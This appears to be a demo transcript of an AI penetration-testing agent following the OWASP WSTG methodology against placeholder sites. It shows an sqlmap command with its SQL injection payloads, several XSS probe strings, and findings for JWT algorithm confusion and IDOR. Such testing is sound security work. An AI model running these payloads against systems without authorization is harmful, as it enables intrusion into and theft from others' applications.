Web Application Agent

┌─────────────────────────────────────────────────────────────┐
│                    TESTING METHODOLOGY                       │
├─────────────────────────────────────────────────────────────┤
│  1. RECONNAISSANCE                                           │
│     └── Information gathering, fingerprinting               │
│                                                              │
│  2. MAPPING                                                  │
│     └── Application structure, entry points                 │
│                                                              │
│  3. DISCOVERY                                                │
│     └── Vulnerability identification per WSTG category      │
│                                                              │
│  4. EXPLOITATION                                             │
│     └── Proof of concept, impact demonstration              │
│                                                              │
│  5. REPORTING                                                │
│     └── Findings with CVSS scores, remediation              │
└─────────────────────────────────────────────────────────────┘

> Use sqlmap to test the login endpoint for SQL injection

[Executing SQLMap...]
sqlmap -u "https://target.com/api/login" --data="username=test&password=test" --batch --level=5 --risk=3

[SQLMap Output]
Parameter: username (POST)
    Type: boolean-based blind
    Payload: username=test' AND 5765=5765 AND 'test'='test

    Type: time-based blind
    Payload: username=test' AND SLEEP(5) AND 'test'='test

Database: MySQL >= 5.0.12

> Launch browser and navigate to https://target.com/login
> Test the username field for XSS vulnerabilities

[Browser launched]
[Navigating to /login...]
[Injecting XSS payloads...]

Testing payload: <script>alert('XSS')</script>
Testing payload: <img src=x onerror=alert('XSS')>
Testing payload: javascript:alert('XSS')
Testing payload: <svg onload=alert('XSS')>

FINDING: Reflected XSS
━━━━━━━━━━━━━━━━━━━━━━━
WSTG-ID: WSTG-INPV-01
Location: GET /login?error=<message>
Parameter: error
Payload: <svg onload=alert(document.domain)>
Severity: High (CVSS 6.1)
Evidence: JavaScript executed in browser context
CWE: CWE-79

You: Test the e-commerce site at shop.example.com for OWASP Top 10 vulnerabilities

Agent: I'll perform comprehensive security testing following OWASP WSTG methodology.

## Phase 1: Information Gathering

[Fingerprinting web server...]
Server: nginx/1.18.0
Framework: React (frontend), Node.js/Express (backend)
Technologies: JWT authentication, PostgreSQL database

[Mapping application structure...]
Found 47 endpoints across 8 API routes

## Phase 2: Authentication Testing (WSTG-ATHN)

[Testing WSTG-ATHN-02: Default Credentials...]
✓ No default credentials found

[Testing WSTG-ATHN-04: Auth Bypass...]
⚠ FINDING: JWT Algorithm Confusion

FINDING: JWT Algorithm Confusion
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
WSTG-ID: WSTG-SESS-10
Location: Authorization header
Parameter: JWT token
Payload: Algorithm changed from RS256 to HS256
Severity: Critical (CVSS 9.8)
Evidence: Forged admin token accepted
CWE: CWE-347

## Phase 3: Authorization Testing (WSTG-ATHZ)

[Testing WSTG-ATHZ-04: IDOR...]
⚠ FINDING: Insecure Direct Object Reference

FINDING: IDOR in Order History
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
WSTG-ID: WSTG-ATHZ-04
Location: GET /api/orders/{id}
Parameter: id
Payload: Sequential ID enumeration
Severity: High (CVSS 7.5)
Evidence: Accessed orders of other users
CWE: CWE-639

[Continuing with remaining WSTG categories...]